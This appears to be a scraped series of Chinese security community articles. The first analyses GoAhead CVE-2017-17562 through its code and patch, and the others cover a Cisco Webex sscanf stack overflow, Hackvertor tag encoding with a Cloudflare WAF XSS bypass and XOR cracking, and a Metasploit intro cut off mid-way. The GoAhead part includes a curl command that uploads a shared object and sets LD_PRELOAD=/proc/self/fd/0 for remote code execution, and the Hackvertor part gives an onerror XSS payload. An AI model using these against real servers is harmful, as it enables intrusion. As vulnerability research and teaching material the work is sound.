WebsHash files; /**< Uploaded files */
char *boundary; /**< Mime boundary (static) */
ssize boundaryLen; /**< Boundary length */
int uploadState; /**< Current file upload state */
WebsUpload *currentFile; /**< Current file context */
char *clientFilename; /**< Current file filename */
char *uploadTmp; /**< Current temp filename for upload data */
char *uploadVar; /**< Current upload form variable name */
#endif
void *ssl; /**< SSL context */
} Webs;
继续去看`cgiHandler`函数，代码首先解析了`PATH_INFO`变量并拼接成了`cgiPath`（指向请求的cgi的全路径），然后检查该文件是否存在并为可执行。接着就是存在漏洞的关键代码：
/*
Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few
we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point
to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair
in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for
loop includes logic to grow the array size via wrealloc.
*/
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
if (s->content.valid && s->content.type == string &&
strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
trace(5, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
envp = wrealloc(envp, envpsize * sizeof(char *));
}
}
}
*(envp+n) = NULL;
程序将所有的变量，包括之前解析出的头、请求参数等都放入到了`envp`数组中，但是不能为`REMOTE_HOST`以及`HTTP_AUTHORIZATION`两个。可以看出来这个黑名单的限制非常的局限，传入的参数可以有很多。
继续往下看，创建了`stdIn`以及`stdOut`两个变量。
/*
Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)
should already exist.
*/
if (wp->cgiStdin == NULL) {
wp->cgiStdin = websGetCgiCommName();
}
stdIn = wp->cgiStdin;
stdOut = websGetCgiCommName();
if (wp->cgifd >= 0) {
close(wp->cgifd);
wp->cgifd = -1;
}
gdb调试下断点在该位置，查看`stdIn`以及`stdOut`变量，可以知道两个变量为相应的tmp文件路径，其中`wp->cgiStdin`一开始不为`NULL`。
pwndbg> print stdIn
$20 = 0x55555575d760 "/tmp/cgi-1.tmp"
pwndbg> print stdOut
$21 = 0x55555576dcf0 "/tmp/cgi-2.tmp"
接着函数就调用了`launchCgi`函数，根据注释可知该函数就是启动cgi程序。
/*
Now launch the process. If not successful, do the cleanup of resources. If successful, the cleanup will be
done after the process completes.
*/
if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {
websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR, "failed to spawn CGI task");
for (ep = envp; *ep != NULL; ep++) {
wfree(*ep);
}
跟进去该函数：
#if ME_UNIX_LIKE || QNX
/*
Launch the CGI process and return a handle to it.
*/
static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)
{
int fdin, fdout, pid;
trace(5, "cgi: run %s", cgiPath);
if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) { // 打开sdtIn文件
error("Cannot open CGI stdin: ", cgiPath);
return -1;
}
if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) { //打开stdOut文件
error("Cannot open CGI stdout: ", cgiPath);
return -1;
}
pid = vfork(); //开启子进程
if (pid == 0) {
/*
Child
*/
if (dup2(fdin, 0) < 0) { //将标准输入指向fdin
printf("content-type: text/html\n\nDup of stdin failed\n");
_exit(1);
} else if (dup2(fdout, 1) < 0) { //将标准输出指向fout
printf("content-type: text/html\n\nDup of stdout failed\n");
_exit(1);
} else if (execve(cgiPath, argp, envp) == -1) { //调用execve启动进程
printf("content-type: text/html\n\nExecution of cgi process failed\n");
}
_exit(0);
}
/*
Parent
*/
if (fdout >= 0) {
close(fdout);
}
if (fdin >= 0) {
close(fdin);
}
return pid;
}
可以看到代码首先打开`stdIn`以及`stdOut`指向的文件即两个tmp文件，然后创建子进程，在子进程中将进程的标准输入与输出重定向到了两个打开文件句柄中，最后调用`execve`去启动新进程执行cgi文件。
cgi可执行文件执行的过程中，标准输入会从`stdIn`文件中获取，标准输出会输出草`stdOut`文件中。`execve`启动的第三个参数`envp`即是之前`cgiHandler`解析过的envp数组，以此实现将cgi可执行程序的变量放入到环境变量中。
漏洞就如上所示，即我们传入的参数会可以控制cgi进程的环境变量。会有什么危害？这就需要结合前面提到过的环境变量`LD_PRELOAD`，利用`LD_PRELOAD`与`/proc/self/fd/0`的结合，可实现任意代码执行，这将在漏洞利用部分中描述。
接下来我想搞清楚在`cgiHandler`之前HTTP请求是如何被解析以及最后执行到`cgiHandler`的。
将断点下在`cgiHandler`，可以看到函数调用栈为：
► f 0 7ffff7b33ec1 cgiHandler+781
f 1 7ffff7b4644e websRunRequest+774
f 2 7ffff7b39866 websPump+121
f 3 7ffff7b396f3 readEvent+352
f 4 7ffff7b3947c socketEvent+159
f 5 7ffff7b4f038 socketDoEvent+197
f 6 7ffff7b4ef5e socketProcess+86
f 7 7ffff7b3b1ce websServiceEvents+67
f 8 5555555555eb main+1377
f 9 7ffff7747b97 __libc_start_main+231
可以看到程序是从`readEvent`开始获取socket输入的，可以动态进行验证。
从`readEvent`函数开始分析代码，关键代码如下：
/*
The webs read handler. This is the primary read event loop. It uses a state machine to track progress while parsing
the HTTP request. Note: we never block as the socket is always in non-blocking mode.
*/
static void readEvent(Webs *wp)
{
WebsBuf *rxbuf;
WebsSocket *sp;
ssize nbytes;
...
rxbuf = &wp->rxbuf;
if ((nbytes = websRead(wp, (char*) rxbuf->endp, ME_GOAHEAD_LIMIT_BUFFER)) > 0) {
wp->lastRead = nbytes;
bufAdjustEnd(rxbuf, nbytes);
bufAddNull(rxbuf);
}
if (nbytes > 0 || wp->state > WEBS_BEGIN) {
websPump(wp);
}
...
}
根据`Webs`结构体的定义我们可以知道，`wp->rxbuf`存储的是请求包中的所有数据。调用`websRead`去获取输入，存储到`wp->rxbuf`中，该函数通过`socketRead`或`sslRead`获取的数据，`WebsBuf`定义如下：
typedef struct WebsBuf {
char *buf; /**< Holding buffer for data */
char *servp; /**< Pointer to start of data */
char *endp; /**< Pointer to end of data */
char *endbuf; /**< Pointer to end of buffer */
ssize buflen; /**< Length of ring queue */
ssize maxsize; /**< Maximum size */
int increment; /**< Growth increment */
} WebsBuf;
执行完`websRead`函数后，数据保存到了`wp->rxbuf`中。进入到`websPump`函数中，关键代码如下：
PUBLIC void websPump(Webs *wp)
{
bool canProceed;
for (canProceed = 1; canProceed; ) {
switch (wp->state) {
case WEBS_BEGIN:
canProceed = parseIncoming(wp);
break;
case WEBS_CONTENT:
canProceed = processContent(wp);
break;
case WEBS_READY:
if (!websRunRequest(wp)) {
/* Reroute if the handler re-wrote the request */
websRouteRequest(wp);
wp->state = WEBS_READY;
canProceed = 1;
continue;
}
canProceed = (wp->state != WEBS_RUNNING);
break;
case WEBS_RUNNING:
/* Nothing to do until websDone is called */
return;
case WEBS_COMPLETE:
canProceed = complete(wp, 1);
break;
}
}
}
这是一个分步的处理函数，根据`wp->state`的状态来处理。
`wp->state`一开始是`WEBS_BEGIN`，程序调用`parseIncoming`，跟进去该函数，关键代码如下：
static bool parseIncoming(Webs *wp)
{
...
/*
Parse the first line of the Http header
*/
parseFirstLine(wp); //处理请求包中的第一行
if (wp->state == WEBS_COMPLETE) {
return 1;
}
parseHeaders(wp); //处理请求头
if (wp->state == WEBS_COMPLETE) {
return 1;
}
wp->state = (wp->rxChunkState || wp->rxLen > 0) ? WEBS_CONTENT : WEBS_READY; //设置state
websRouteRequest(wp); //将请求的url进行转换
if (wp->state == WEBS_COMPLETE) {
return 1;
}
#if ME_GOAHEAD_CGI
if (wp->route && wp->route->handler && wp->route->handler->service == cgiHandler) {
if (smatch(wp->method, "POST")) {
wp->cgiStdin = websGetCgiCommName();
if ((wp->cgifd = open(wp->cgiStdin, O_CREAT | O_WRONLY | O_BINARY | O_TRUNC, 0666)) < 0) {
websError(wp, HTTP_CODE_NOT_FOUND | WEBS_CLOSE, "Cannot open CGI file");
return 1;
}
}
}
#endif
#if !ME_ROM
if (smatch(wp->method, "PUT"))
...
return 1;
}
首先调用`parseFirstLine`解析HTTP请求的第一行，即如`POST /cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 HTTP/1.1\r\n\r\n`。该函数的主要功能为：
* 解析请求方法（`POST`、`GET`以及`PUT`），并存入`wp`结构体相关字段中。
* 解析请求的url，并存入`wp`结构体相关字段中。
* 解析HTTP协议版本，并存入`wp`结构体相关字段中。
* 将解析出来的url分解成`host`、`path`、`port`以及`query`等字段，并存入`wp`结构体相关字段中。
接着是调用`parseHeaders`，代码中的注释为：
/*
Parse the header and create the Http header keyword variables
We rewrite the header as we go for non-local requests. NOTE: this
modifies the header string directly and tokenizes each line with '\0'.
*/
即将请求包中的头解析，并与`HTTP_`拼接成相应的字段存入到`wp`结构中。并根据相应的字段设置`wp->flags`字段，如若请求头中包括`connection:
keep-alive`，则`wp->flags |= WEBS_KEEP_ALIVE`会执行。
解析完请求头后，因为`POC`中为`POST`方法，`wp->rxLen`在`parseHeaders`中被赋值，后续`wp->state`接着被赋值成了`WEBS_CONTENT`，表示还有`content`数据需要接收处理。
后续调用`websRouteRequest`来确定请求包其所对应的处理函数，通过比对`url`路径中是否包含`route->prifix`。`routes`是一个数组，包含了所有的处理函数的相关信息，它解析了`route.txt`，`route.txt`数据部分内容如下，可以看到url中包含`cgi-bin`的话，其对应的`handler`为cgi。
$ cat route.txt
#
# route.txt - Route configuration
#
# Schema
# route uri=URI protocol=PROTOCOL methods=METHODS handler=HANDLER redirect=STATUS@URI \
# extensions=EXTENSIONS abilities=ABILITIES
#
# Abilities are a set of required abilities that the user or request must possess.
# The abilities, extensions, methods and redirect keywords may use comma separated tokens to express a set of
# required options, or use "|" separated tokens for a set of alternative options. This implements AND/OR.
# The protocol keyword may be set to http or https
# Multiple redirect fields are permissable
#
# Redirect over TLS
# route uri=/ protocol=http redirect=https handler=redirect
#
# Form based login pattern
# route uri=/login.html
# route uri=/action/login methods=POST handler=action redirect=200@/ redirect=401@/login.html
# route uri=/action/logout methods=POST handler=action redirect=200@/login.html
# route uri=/ auth=form handler=continue redirect=401@/login.html
route uri=/old-alias/ redirect=/alias/atest.html handler=redirect
...
route uri=/auth/digest/admin/ auth=digest abilities=manage
...
route uri=/auth/form/login.html
...
route uri=/cgi-bin handler=cgi
...
#
# Catch-all route without authentication for all other URIs
#
route uri=/
经过`websRouteRequest`函数，最终确定使用`cgihandler`（存在漏洞的函数）函数来处理该url请求。解析出来的`wp->route`为如下：
pwndbg> print *wp->route
$23 = {
prefix = 0x555555761fe0 "/cgi-bin",
prefixLen = 0x8,
dir = 0x0,
protocol = 0x0,
authType = 0x0,
handler = 0x55555575cc50,
abilities = 0xffffffff,
extensions = 0xffffffff,
redirects = 0xffffffff,
methods = 0xffffffff,
askLogin = 0x0,
parseAuth = 0x0,
verify = 0x7ffff7b32711 <websVerifyPasswordFromFile>,
flags = 0x0
}
pwndbg> print *wp->route.handler
$24 = {
name = 0x55555575cec0 "cgi",
match = 0x0,
service = 0x7ffff7b33bb4 <cgiHandler>,
close = 0x0,
flags = 0x0
}
现在整个`POC`中的数据除了最后`POST`的数据都已处理完毕。根据以往的经验知道：`post`数据一般是`cgi`程序的标准输入。通过前面的分析，我们知道在`launchCgi`函数调用`ececve`启动cgi程序的时候，会将标准输入重定向为`tmp`文件句柄，所以接下来应该就是将`post`数据保存到`tmp`文件中。
继续看代码，程序在`websRouteRequest`函数后，判断请求类型，如果为`POST`则调用`websGetCgiCommName()`生成`tmp`文件路径，看下它文件路径生成的规则：
/*
Returns a pointer to an allocated qualified unique temporary file name. This filename must eventually be deleted with
wfree().
*/
PUBLIC char *websGetCgiCommName()
{
return websTempFile(NULL, "cgi");
}
PUBLIC char *websTempFile(char *dir, char *prefix)
{
static int count = 0;
char sep;
sep = '/';
if (!dir || *dir == '\0') {
...
#elif ME_WIN_LIKE
dir = getenv("TEMP");
sep = '\\';
...
#endif
}
if (!prefix) {
prefix = "tmp";
}
return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}
可以看到，`tmp`文件路径为`/tmp/tmp-xx.tmp`，`xx`为累计的计数器的值。
接着程序返回到`websPump`中，将调用`processContent`。该函数首先调用`filterChunkData`将剩下未处理的数据保存到`wp`的`input`字段中。然后因为此时`wp->cgifd
>=
0`，调用`websProcessCgiData`函数。该函数将post数据通过`write`函数写入到了相应的tmp文件中，再与`launchCgi`函数中的重定向结合，实现了将post数据作为cgi函数的标准输入。
最后程序执行`websRunRequest`函数，先调用`websSetQueryVars`将`get`请求参数保存到`wp->vars`中，然后调用`(*route->handler->service)(wp)`，即`cgiHandler`函数，与前半部分的分析接上，最终调用cgi程序运行。
至此整个过程分析结束，再将整个`goahead`处理`cgi`所对应`post`请求处理流程小结如下：
1. 调用`websRead`函数，所有数据保存到了wp->rxbuf中。
2. 调用`websPump`，该函数包含三部分：
1. 调用`parseIncoming`函数解析请求头以及调用`websRouteRequest`确定相应的处理函数。
2. 调用`processContent`将处理post数据，将其保存到tmp文件中。
3. 调用`websRunRequest`函数，调用相应的处理函数，cgi对应为`cgiHandler`。
3. 调用`cgiHandler`，将请求头以及get参数设置到环境变量中，调用`launchCgi`函数。
4. 调用`launchCgi`函数，将标准输出输入重定向到文件句柄，调用`execve`启动cgi进程。
## 漏洞利用
通过分析部分知道了漏洞的成因是没有对传入的数据进行检查，使得最终`execve`启动新进程执行cgi程序时的环境变量`envp`数组可控。
首先是如何利用`envp`环境变量数组，如何通过控制一个进程的环境变量来实现任意代码执行？可以使用`LD_PRELOAD`这个变量，做过pwn题的一般都是使用该变量来预先加载libc来实现加载指定的libc，我们也可以使用该变量来加载执行我们想要的代码。
#include<stdio.h>
static void demo(void) __attribute__((constructor));
static void demo(void)
{
printf("hello world\n");
}
使用命令`make DEMO`编译出`demo.so`，执行命令`LD_PRELOAD=./demo.so whoami`测试结果。
$ LD_PRELOAD=./demo.so whoami
hello world
raycp
因此如果我们可以上传文件为so，并指定`LD_PRELOAD`环境变量，即可实现任意代码执行，`LD_PRELOAD`加载的具体原理可看这个[REMOTE
LD_PRELOAD EXPLOITATION](https://www.elttam.com.au/blog/goahead/)。
通过前面的分析可以知道执行`cgi`程序时，会将post数据先保存到一个tmp文件中，再将其重定向到cgi进程的标准输入中，且tmp文件名为`/tmp/tmp-xx.tmp`，因此一种方法是我们可以将so文件作为post参数传给cgi，再爆破tmp文件名，因为是从0开始并累加，还是有一定可行性的。
还有一种方法：`/proc/self/fd/0`是指向自己进程的标准输入的，对于cgi进程来说，它的值因为被重定向到了tmp文件，所以它的`/proc/self/0`也就指向来tmp文件，所以我们可以使用它作为`LD_PRELOAD`的值，无需爆破tmp文件名。
下面进行验证，`valid.c`内容如下，使用`sleep`的原因在于避免进程很快退出，无法查看进程的fd文件：
#include<stdio.h>
static void valid(void) __attribute__((constructor));
static void valid(void)
{
sleep(100);
}
运行goahead：
$ curl -X POST --data-binary @valid.so http://172.16.217.185:80/cgi-bin/cgitest\?LD_PRELOAD\=/proc/self/fd/0
查看cgi进程：
$ ps -ax | grep cgitest
38522 pts/6 S+ 0:00 /home/raycp/work/iot/goahead/goahead/test/cgi-bin/cgitest
查看进程对应的`/proc/self/fd/0`文件：
$ sudo ls -l /proc/38522/fd/0
[sudo] password for raycp:
lrwx------ 1 root root 64 Aug 6 19:39 /proc/38522/fd/0 -> /tmp/cgi-0.tmp
查看tmp文件，为我们上传的so文件：
$ file /tmp/cgi-0.tmp
/tmp/cgi-0.tmp: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=f6c44284417e28152bd71f64f55ab551e56abfaa, not stripped
所以利用的方法为post恶意的so文件过去，并利用`LD_PRELOAD`加载`/proc/self/fd/0`实现so文件的加载。
## 补丁比对
查看goahead是如何patch该漏洞的，先切换到3.6.5：
git checkout tags/v3.6.5
补丁与漏洞关键代码如下：
// pathed
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
if (s->content.valid && s->content.type == string) {
if (smatch(s->name.value.string, "REMOTE_HOST") ||
smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||
smatch(s->name.value.string, "IFS") ||
smatch(s->name.value.string, "CDPATH") ||
smatch(s->name.value.string, "PATH") ||
sstarts(s->name.value.string, "LD_")) {
continue;
}
if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {
envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_VAR_PREFIX, s->name.value.string,
s->content.value.string);
} else {
envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
}
trace(0, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
envp = wrealloc(envp, envpsize * sizeof(char *));
}
}
}
*(envp+n) = NULL;
// vulned
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
if (s->content.valid && s->content.type == string &&
strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
trace(5, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
envp = wrealloc(envp, envpsize * sizeof(char *));
}
}
}
*(envp+n) = NULL;
对比两个版本可以看到补丁中除了`REMOTE_HOST`和`HTTP_AUTHORIZATION`的限制，还加入了一些额外的限制包括限制`LD_`开头，即无法传入`LD_PRELOAD`变量。
这个补丁也是黑名单策略，也还有很大的空间，我们仍然可以控制很多的环境变量。
## 小结
黑名单策略还是容易出现问题，漏洞的利用方式也挺亮眼。
相关脚本和文件[链接](https://github.com/ray-cp/Vuln_Analysis/tree/master/CVE-2017-17562-GoAhead-rce)。
## 参考链接
1. [CVE-2017-17562 Detail](https://nvd.nist.gov/vuln/detail/CVE-2017-17562)
2. [REMOTE LD_PRELOAD EXPLOITATION](https://www.elttam.com.au/blog/goahead/)
3. [开源Web服务器GoAhead漏洞CVE-2017-17562分析](https://slab.qq.com/news/tech/1701.html)
4. [干货分享|GoAhead服务器远程命令执行漏洞（CVE-2017-17562） 分析报告](https://www.easyaq.com/news/1646990185.shtml)
5. [有关CVE-2017-17562的一些零碎点](https://kevien.github.io/2017/12/24/CVE-2017-17562的一些零碎点/)
6. [GOAhead CVE-2017-17562深入分析](https://bbs.pediy.com/thread-223793.htm)
7. [CVE-2017-17562.py](https://github.com/1337g/CVE-2017-17562/blob/master/CVE-2017-17562.py)
8. [CVE-2017-17562-exp](https://github.com/elttam/advisories/tree/master/CVE-2017-17562) | 社区文章 |
## 前言
在过去的一年中，几位研究人员在Cisco
Webex程序套件中提交了漏洞报告。然而，在他们提交的40多个报告中，他们忽视了某些琐碎的东西，包括一些基于堆栈的缓存溢出。这篇文章(<https://www.zerodayinitiative.com/advisories/ZDI-18-1078/>
)详细地介绍了ZDI-18-1078，这是Cisco
Webex网络录制播放器31.23.2.58(现已达到EOL)版本中的一个漏洞，它会使得远程代码被执行。
## 漏洞
读取`Advanced
Recording（.arf）`文件时，播放器会尝试访问当前目录中的`RtpConfig.ini`文件，这个操作还没有被记录下来。这个`.ini`文件包含一种配置，该配置可能是一种实时传输协议(RTP)服务，但由于没有任何文件记录过，因此可能会跟实时传输协议服务有所不同。
上图展示了`nbrplay.exe`正在查找`RtpConfig.ini`的过程
这个错误发生在`nmvc.dll`中，它存在于名为`sub_1001F479`的程序中，这个程序可以用来解析`RtpConfig.ini`，并且提取它的属性。以下代码段展示了如何设置`MinLostRate`以及其他的一些参数。
这里的罪魁祸首是对sscanf函数的调用，这是一个被微软禁用的函数。该sscanf函数解析`.ini`文件并读取属性值，以便将它们与一组硬编码参数进行匹配。使用的格式是：
%[^ \t#]%*[ \t]%[^ \t#]%n
这个格式可以写入三个参数。第一个和第三个说明符(`%[^
\t#]`)在`%`和`[`之间不使用任何值,这意味着在它到空格之前，它将读取每个字符。忽略它们的大小的话，这将可以写入`Str1`和`Source`参数，如果输入足够大，可能会导致溢出。
这个`.ini`文件在`0x3FF`字节块中被读取，并且因为这两个连续变量Source和Str1的空间分别为`0x100`和`0x106`字节，因此可发生溢出从而导致堆栈被损坏。
## 更多
思科公司通过咨询`cisco-sa-20180919-webex`修补了这几个漏洞。让人高兴的是，随着越来越多相类似的错误被提交，这些版本即将达到他们的EOL，这些新版本有希望会变得更加安全。在这些企业软件中，越来越多的漏洞被提交，这种类型的漏洞提交的数量仅仅落后于桌面应用软件和SCADA提交的数量。考虑到在很多企业中这些程序存在的数量，这种趋势很有可能会持续下去。
你可以在Twitter@ziadrb上找到我，并跟随我的团队寻找最新的漏洞利用技术和安全补丁。
## 用Hackvertor绕过WAFS和破解XOR
我最近一直在致力于研究如何扩展Hackvertor，因为它具有基于标签的转换功能，这比Burp中的内置解码器要厉害得多。在这样一个功能的背后，我的想法是，标签可以转化其内容，并且将这个转化传递给下一个外部标记，这样您就可以轻松地执行多级编码。
例如，要将一个字符串编码为base64，只需使用base64进行标记：
<@base64_0>test<@/base64_0>
您也可以进行多级编码，例如假设您想将字符串转换为十六进制，然后对其进行base64编码，您首先要使用十六进制标记，然后使用base64标记：
<@base64_1><@hex_0(" ")>test<@/hex_0><@/base64_1>
这个十六进制标记有一个分隔符参数，用于分隔每个十六进制字符串，即'test'，它将作为分隔符连同空格一起传递给标记函数。
## 使用Hackvertor
当扩展部分在加载时，它将在Burp中创建一个名为Hackvertor的新Tab。在选项卡中有一个输入框和一个输出框，您在输入框中输入要转换的文本，将它选中，然后单击，Hackvertor将会自动进行转换，最终转换的结果将会出现在输出框中，为了方便您再次运行转换，还有一个转换按钮。这些标签都会被分门别类地标好，如编码、解码等，让您可以轻松找到您需要的标签。Hackvertor还具有中转模块样式的选项卡，允许您运行这个工具的多种版本。
## 绕过Cloudflare WAF
最近在诸如repeater等工具中，我制作了Hackvertor标签，您只需右键单击repeat请求，并点击Hackvertor菜单然后在请求中添加标签，它将会在发送请求之前自动运行转换。您也可以在Intruder中使用它们，这就要求您首先要在repeater模块中定义它们，然后将它们发送到Intruder，这个功能非常强大，因为您可以使用带有占位符的多级编码。您甚至可以在代理服务器中使用它们，但默认情况下它们是关闭的。如果想要打开它，可以在主Burp菜单中选择Hackvertor菜单，然后单击“允许代理”标签。
现在，我将向您展示如何在repeater模块中使用标签从而绕过Cloudflare WAF。首先要将以下网址发送给repeater：
https：//waf.party/xss/xss.php？x =
然后在等号之后输入以下代码：
<img/src/onerror=alert(1)>
在repeater请求中选择alert(1)，然后启用Hackvertor
BApp，右键单击所选文本，接着单击Hackvertor，然后单击XSS，最后单击throw_eval。这会将标记添加到请求中，如果你点击go，你会看到这样的回复：
<img/src/onerror=window.onerror=eval;throw'=alert\x281\x29'>
如果你想检查它是否实际地在工作，你只需要右键单击请求编辑器并从菜单和Copy
URL中选择Hackvertor，然后在转换所有标签后生成一个URL。如果您使用Burp's copy URL命令，那么这将仅复制带有标记的URL。
## 解码rotN
这一切都源于我的女儿。我从2016年开始穿着一件带有'Sides
Manchester'标记的T恤，前面有一些二进制字符，她问“爸爸这些数字是什么意思？”。我告诉她这是二进制代码，并询问她是否要将它解码。然后我们开始在Hackvertor中输入它们，我注意到一旦二进制字符被解码，它会呈现出一个base64编码的字符串，类似于一个rot编码字符串。我们强制执行了rot编码并对结果进行了解码，但这不禁让我想到，Hackvertor也许可以自动解码一个rot的编码字符串。
它必须从一堆类似于胡言乱语的话当中识别出像英语那样的单词，因此我开始创建一个is_like_english标签，起初我以为可以使用二元语法和三元语法模型，并且只需要在它们后面的的常用字母来确定类似于英语单词那样的词组，但它并不像我想象的那么简单。然后在谷歌搜索后，我找到了一个非常棒的网站。他们使用四元语法模型来表示四个字母序列及其在英语中的使用频率。该网站还有一些简单的python代码，它们可以根据对单词的分析生成一个得分，我用Java重写了代码并在Hackvertor中实现了它。
下一步是改进自动解码器。自动解码器是一种标签，它可以自动尝试确定字符串的编码方式，并且对其进行多次解码。我添加了一个简单的正则表达式，用于查找更多的a-z字符，这些字符后跟这空格、逗号或连字符，然后循环25次以暴力破解rot编码的字符串，并从每个字符串中得到一个分数，我计算它们每个的平均值，如果最佳的分数比平均值多二十，它将自动解码rot编码的字符串。我不会告诉你二进制解码的内容，我会让你自己找出来。这是由Santi模仿的T恤图片。
<@auto_decode_0>01010111 01101101 00110101 01101000 01100011 01001000 01010110 01111001 01011010 01101101 01100100 01111001 01011010 01010011 01000010 01000111 01100101 01101101 00110101 00110101 01100101 01010011 00110001 01000111 01100011 01000111 00110101 00110101 01100011 01101001 01000010 01010011 01100001 00110010 01001110 01111001 01011010 01011000 01011010 00110110 01100011 01101101 01000110 01101110 01100010 01101110 01101011 01100111 01010111 01101101 00110101 01110111 01100100 01011000 01011010 01101000 01100011 01100111 00111101 00111101<@/auto_decode_0>
James还有一个带有扬声器的衬衫，上面有一些不同的代码，所以我进入了Hackvertor，看看它是否会将它们自动解码。事实证明它是很有效的，你自己可以尝试着将以下内容粘贴到输入框中。
<@auto_decode_10>01011010 01101110 01100001 01110000 01110101 01110010 01100110 01100111 01110010 01100101 00101100 00100000 01100110 01100010 00100000 01111010 01101000 01110000 01110101 00100000 01100111 01100010 00100000 01101110 01100001 01100110 01101010 01110010 01100101 00100000 01110011 01100010 01100101<@/auto_decode_10>
毋庸置疑，如果自动rotN可以破解任何代码，这将会变得非常有趣。
## 重复密钥以解密XOR
我本来打算结束我的文章，但是James向我发起挑战，要我解码重复加密的XOR。我使用了加密站点Practical
cryptography，并学习了所有关于XOR和频率分析的知识。第一步是确定密钥长度，您可以为每个关键候选项使用频率分析来执行此操作，我将30作为最大密钥长度。我将这些字符存储在频率表中，并在它们在密文中出现时递增它们。当您拥有所有频率时，您可以计算每个列和频率的重合指数(或汉明距离)。一旦得到每个关键候选的重合索引，就取其前七名，并通过除以密钥长度对IC进行统一化，然后用IC对前七名进行排序，并将第一名作为猜测的密钥进行返回。
我花了很多时间来尝试提高关键猜测的准确性，并且多次重写了代码。Trusted signal
blog博客证实，你可以通过使用前5-6个候选结果当中的最大公分母来提高确定的键长的准确性，但是在我的测试中，我无法提高准确性。无论如何，一旦你有了密钥长度，您只需通过循环密文和每个字符，然后根据结果为其分配一个分数即可。我将大部分代码建立在Alexey
Hellman 的cool python utility中。
最后，无论转换成功与否，我将重新使用我的is_like_english函数来确定文本的分数。这适用于小块文本，更大的文本就不行了，这是因为你输入越多的文本，你获得的ngram分数就会越低，所以我将固定值更改为平均差值的一个百分比，这样无论密文长度如何都可以起作用。对于非常小的密文，XOR解密将会失败，我认为这是因为没有足够的密文来执行频率分析，从而正确地确定解密的每个字符的密钥长度和分数。如果您想到了一种改进方法，您可以向我们提交您的想法。
为了演示自动解码，我用一个密钥进行了XOR，然后对其进行了十六进制编码。当您在输入框中输入时，Hackvertor将自动解码十六进制，预估密钥长度，然后自动解密XOR加密，甚至提供正确的标签来再现编码。
<@auto_decode_8>1C090C1E05041C101C523D296324212F000D020C04061D001C216F36383668231619064521010606376F3724732E080D0F561617171A003B3B3A6B3630110C18031717074F1037292C39366808174C0545061B00523E2E372E7D68231A4B03161B1A0852313A373F3A26064E0E120217541C1133212D223D2F41170E150D1C1B031D35366F6B2A27144308170B521D0B173C3B2A2D2A68150B0E5613170616523E2E372E203C41151E1A0B17060E103B232A3F3A2D124D4B391000541D17212A22393020041118560300111E07372137272A68140D08191317064F10202E2D2F732604144B00101E1A0A00332D2A273A3C1843081A0401070A01723B2B2A276823161906451B074F063A2A632D3A3A12174B020A52060A023D3D3765<@/auto_decode_8>
重复的XOR时不时会被使用，所以希望这个功能能够防止某些应用程序逃脱看似合法的加密。
原文地址：
https://www.zerodayinitiative.com/blog/2018/9/27/cve-2018-15421-examining-a-stack-based-overflow-in-the-cisco-webex-network-recording-player
https://portswigger.net/blog/bypassing-wafs-and-cracking-xor-with-hackvertor | 社区文章 |
# metasploit模块移植/开发--初识篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
说起metasploit（MSF）大家肯定都不陌生，它是一款开源的功能非常强大的安全工具，无论是专业黑客还是网络安全从业者都会经常使用该工具做一些攻击、安全验证的工作。相信大家都不陌生也都能熟练操作，但是您真的“熟练”操作了吗？本菜将分成多篇文章将手把手的带领大家一起学习MSF模块开发/移植工作。
**（本菜也在同步学习中，如以下文章中有哪里写的不对，烦请各位大佬多担待多斧正！）**
## 准备工作/环境
Ruby语言 （#毋庸质疑MSF是ruby语言开发的）
Metasploit
顺手的编辑器
## Ruby初识
Ruby语言是metasploit的核心，想要学习好MSF模块编写必须要会Ruby，下面我们简单的介绍一些基本命令操作，如果您学习过python、perl等脚本语言的话可能会比较简单。
跟python一样，ruby也是有命令行交互的，输入命令”irb” 即进入命令行交互操作，下面我们做一个简单的 + – x % 操作练练手，如图
现在我们定义一个字符串看一下，如图：
下面我们定义一个函数方法，如图：
下面我们介绍2个函数，分别是split函数和squeeze函数
要介绍的还有很多如正则表达式、循环等等，本篇不是编程文章，小伙伴们需要线下继续学习 （[http://www.runoob.com/ruby/ruby-tutorial.html）](http://www.runoob.com/ruby/ruby-tutorial.html%EF%BC%89)
## MSF介绍
这里不是介绍MSF的使用，这里我们介绍metasploit的一些基本库和模块所在的位置以及基本功能：
